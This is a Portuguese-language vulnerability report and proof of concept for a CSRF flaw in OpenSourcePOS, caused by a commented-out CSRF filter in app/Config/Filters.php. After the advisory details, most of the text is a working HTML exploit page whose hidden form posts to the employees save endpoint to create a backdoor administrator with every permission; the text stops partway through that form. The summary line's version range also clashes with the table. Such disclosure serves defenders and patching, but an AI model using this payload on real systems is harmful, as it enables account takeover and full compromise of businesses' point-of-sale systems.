
PoC & Relatório para CVE-2025-68434: CSRF Crítico no OpenSourcePOS. Explora uma configuração de filtro desabilitada para permitir que atacantes não autenticados criem silenciosamente contas de Administrador falsas, levando à tomada total do sistema. Validado em versões < 3.4.0.
| Metadados | Detalhes |
|---|---|
| ID CVE | CVE-2025-68434 |
| Severidade | Crítica (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidade | Cross-Site Request Forgery (CWE-352) |
| Versões Afetadas | OpenSourcePOS v3.4.0, v3.4.1 |
| Versão Corrigida | v3.4.2 |
| Componente Vulnerável | app/Config/Filters.php (Filtros Globais de Segurança) |
| Reportado por | Aditya Singh (Nixon-H) |
Uma vulnerabilidade Crítica de Cross-Site Request Forgery (CSRF) foi descoberta na configuração de segurança principal do OpenSourcePOS. O mecanismo de proteção CSRF global da aplicação foi explicitamente desabilitado no arquivo app/Config/Filters.php devido a um "TODO" temporário de desenvolvimento que nunca foi resolvido.
Essa má configuração permitiu que a aplicação aceitasse requisições HTTP de mudança de estado (POST) sem verificar um token antifalsificação válido. Um atacante remoto não autenticado poderia explorar isso ao enganar um Administrador logado para visitar uma página maliciosa. A página do atacante então forçaria silenciosamente o navegador da vítima a executar ações administrativas; especificamente, criar uma nova conta de Administrador "Backdoor" com privilégios totais; levando a uma tomada completa do sistema.
A vulnerabilidade estava localizada na configuração dos Filtros Globais (app/Config/Filters.php). No CodeIgniter 4, o array $globals determina quais filtros são executados em todas as requisições.
Nas versões afetadas, o filtro csrf foi comentado na lista de execução before, efetivamente desabilitando a proteção CSRF para toda a aplicação.
Código Vulnerável (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Porque essa linha foi comentada, o middleware responsável por verificar csrf_token_name nunca foi executado. A aplicação aceitava qualquer requisição POST de qualquer origem, confiando apenas no cookie de sessão (ospos_session) para autenticação.
csrf_exploit.html em um servidor externo.valid_12345) é criada instantaneamente.POC/csrf_exploit.html)Este é o payload exato usado para criar um Administrador malicioso com permissões totais:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">